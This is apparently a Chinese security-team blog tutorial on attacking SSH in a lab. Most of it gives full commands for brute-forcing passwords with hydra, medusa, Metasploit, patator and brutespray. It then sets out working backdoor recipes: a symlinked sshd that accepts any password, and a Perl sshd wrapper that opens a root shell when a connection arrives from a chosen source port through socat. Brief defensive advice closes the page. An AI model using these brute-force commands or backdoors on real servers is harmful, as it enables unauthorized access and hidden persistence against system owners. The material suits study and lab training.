声明:Tide安全团队原创文章,转载请声明出处!文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
Secure Shell(安全外壳协议,简称SSH)是一种加密的网络传输协议,可在不安全的网络中为网络服务提供安全的传输环境。SSH通过在网络中创建安全隧道来实现SSH客户端与服务器之间的连接。任何网络服务都可以通过SSH实现安全传输,SSH最常见的用途是远程登录系统,人们通常利用SSH来传输命令行界面和远程执行命令。SSH使用频率最高的场合是类Unix系统,但是Windows操作系统也能有限度地使用SSH。Windows 10 1809版本已提供OpenSSH工具。
SSH暴力破解
SSH口令长度太短或者复杂度不够,如仅包含数字,或仅包含字母等,容易被攻击者破解。一旦被攻击者获取,可用来直接登录系统,控制服务器所有权限。今天说的主要是通过指定用户名来爆破密码,当然还有通过指定密码,加载用户名来爆破SSH,这是比较少用的一种方式。
现在安装了一台靶机和攻击机作为演示使用,靶机使用的Ubuntu系统,IP地址是192.168.92.132,攻击机使用的Kali Linux 2020,IP地址192.168.92.128。众所周知Kali集成了很多的渗透测试工具,用起来比较方便。
爆破方式
首先使用kali自带的nmap扫描目标靶机
nmap -sV -p- 192.168.92.132
可以看到靶机开放了22端口,启用了SSH服务,假设我们已经知道存在test账户,接下来对其进行密码破解。
1、Hydra
第一个使用到的工具是hydra,中文名九头蛇(脑补电梯里美队在光头耳边:hail hydra)。它是一款爆破神器,可以对多种服务的账号和密码进行爆破,包括Web登录、数据库、SSH、FTP等服务,支持Linux、Windows、Mac平台安装,其中Kali Linux中自带Hydra。
使用方法:hydra -l test -P /home/test/桌面/TOP1000.txt -t 6 -vV 192.168.92.132 ssh
-l 为要进行密码爆破的目标主机用户名 -P为指定字典的绝对路径
-t 为指定爆破线程
Medusa是支持AFP, CVS, FTP, HTTP, IMAP, MS-SQL, MySQL, NCP (NetWare),NNTP, PcAnywhere, POP3, PostgreSQL, rexec, rlogin, rsh, SMB, SMTP, SNMP, SSHv2, SVN, Telnet, VmAuthd, VNC的密码爆破工具。跟hydra一样也可以用来爆破SSH,不同的是medusa 的稳定性相较于 hydra 要好很多。但是也有缺陷。它的支持模块要比 hydra 少很多,也不支持 rdp 服务协议。同时,它的表单破解也存在着问题。但是不论什么工具,我们都应取其精华,善于利用。
可以使用medusa -d来查看其所支持的模块
接下来使用它进行SSH密码爆破
medusa -M ssh -h 192.168.92.132 -u test -P /home/test/桌面/TOP1000.txt
-M: 表示要破解的类型 -h:目标靶机地址 -u:用户名 -P:字典地址
3、Metasploit
Metasploit是一个免费的、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数百个已知软件漏洞的专业级漏洞攻击工具,同时也可以用来破解SSH密码。
首先启动控制台
在kali中打开命令窗口,输入msfconsole回车
使用模板 use auxiliary/scanner/ssh/ssh_login
设置靶机地址 set rhosts 192.168.92.132
设置用户名 set username test
设置字典路径 set pass_file
设置爆破线程 set threads 5
查看设置完成后的效果 show options
运行后耐心等待就可以了
run
与hydra和medusa不同,Metasploit不会显示跑字典的过程,只显示最终爆破密码成功时的结果。
4、Patator
Patator是一款全能暴力破解测试工具,采用模块化设计并具有灵活的可用性。值得一提的是在kali中没有自带的,需要手动下载安装。
git clone https://github.com/lanjelot/patator.git
cd patator
python setup.py install
使用./patator.py module –help查看帮助信息
可以看到patator的功能还是很强大的。
使用命令爆破SSH密码
./patator.py ssh_login host=192.168.92.132 user=test password=FILE0 0=/home/test/桌面/TOP1000.txt
此外,patator还可以用来破解多用户密码。将用户名字典保存在txt文档中,使用
./patator.py ssh_login host=192.168.92.132 user=FILE1 1=/home/test/桌面/user.txt password=FILE0 0=/home/test/桌面/TOP1000.txt
因为时间关系并没有跑完全部字典,这里只截了开头的部分。
5、BrutesPray
BruteSpray是一款基于nmap扫描输出的gnmap/XML文件,自动调用Medusa对服务进行爆破,声称速度比hydra快。BruteSpray调用medusa,其说明中声称支持ssh、ftp、telnet、vnc、mssql、mysql、postgresql、rsh、imap、nntp、pcanywhere、pop3、rexec、rlogin、smbnt、smtp、svn和vmauthd协议账号暴力破解。
官方项目地址:https://github.com/x90skysn3k/brutespray
BruteSpray默认没有集成到kali Linux中,需要手动安装,有的需要先在kali中执行更新,apt-get update 后才能执行安装命令:
Sudo apt-get install brutespray
安装完成后在/usr/bin/目录下,进入目录后右键选择-在此打开终端
命令窗口输入brutespray -h查看帮助文档
使用方法:首先对相应网段进行扫描,然后生成对应的XML格式扫描结果文件
nmap -v 192.168.92.0/24 -oX nmap.xml
然后在brutespray中可以使用交互模式破解
brutespray --file nmap.xml –i
这里为了节省时间,我选择了指定用户名和ssh服务进行爆破
brutespray -f /home/jhc/nmap.xml -u test --service ssh
brutepray基于nmap扫描结果来进行暴力破解,对于内网破解效果较好。
由上可以看出,几种工具都是通过加载字典进行暴力穷举,所以平时积累一些好用的字典是非常关键的。现在只介绍了如何在指定用户名的情况下去破解密码,也可以指定密码爆破用户名,跟爆破密码的用法大同小异,这里就不再描述了。另外这些工具的功能都十分强大,作用不仅局限于爆破SSH密码,有兴趣的可以对其他功能探索一下。
SSH后门
除了暴力破解密码之外,还有一种使用SSH后门登录目标系统,在这里简单介绍一下。
1. 软连接后门
ln -sf /usr/sbin/sshd /tmp/su; /tmp/su-oPort=33223
经典后门使用ssh [email protected] -p 33223直接对sshd建立软连接,之后用任意密码登录即可。
但这隐蔽性很弱,一般的的防护脚本可扫描到。
2.SSH Server wrapper后门
(1)复制sshd到bin目录
cd /usr/sbin
mv sshd ../bin
(2)编辑sshd
vi sshd //加入以下内容并保存
#!/usr/bin/perl
exec"/bin/sh"if(getpeername(STDIN)=~/^..LF/);
exec{"/usr/bin/sshd"}"/usr/sbin/sshd",@ARGV;
(3)修改权限
chmod 755 sshd
(4)使用socat
socat STDIOTCP4:target_ip:22,sourceport=19526
如果没有安装socat需要进行安装并编译
wget http://www.dest-unreach.org/socat/download/socat-1.7.3.2.tar.gz
tar -zxvf socat-1.7.3.2.tar.gz
cd socat-1.7.3.2
./configure
make
make install
(5)使用ssh [email protected] target_ip即可免密码登录
3.ssh公钥免密
将本地计算机生成公私钥,将公钥文件复制到需要连接的服务器上的~/.ssh/authorized_keys文件,并设置相应的权限,即可免密码登录服务器。
chmod 600 ~/.ssh/authorized_keys
chmod 700 ~/.ssh
SSH暴力破解防范
SSH暴力破解现在非常流行,如何保护服务器不受暴力破解攻击,大致有以下几个方法:
1、针对暴力穷举,可以使用SSH密钥,禁用口令认证。如果不能做到这一点,提升密码长度,扩展密码复杂度,务必使用复杂不易破解的密码,定期更换密码这些手段。
2、登陆IP白名单。
3、登录用户名白名单。
4、更改服务器ssh端口。
5、使用snort、ossec等开源的入侵检测设备保护服务器。
参考资料:
面对SSH暴力破解,给你支个招_运维_OpenInfra的博客-CSDN博客
https://blog.csdn.net/openinfra/article/details/88872989
SSH暴力破解_运维_hery186的专栏-CSDN博客
https://blog.csdn.net/lhq186/article/details/91382894
关于linux中SSH爆破总结 - 不靠谱的谱 - 博客园
https://www.cnblogs.com/NBeveryday/p/8286957.html
E
N
D
guān
关
zhù
注
wǒ
我
men
们
Tide安全团队正式成立于2019年1月,是新潮信息旗下以互联网攻防技术研究为目标的安全团队,团队致力于分享高质量原创文章、开源安全工具、交流安全技术,研究方向覆盖网络攻防、Web安全、移动终端、安全开发、物联网/工控安全/AI安全等多个领域。
对安全感兴趣的小伙伴可以关注团队官网: http://www.TideSec.com 或长按二维码关注公众号: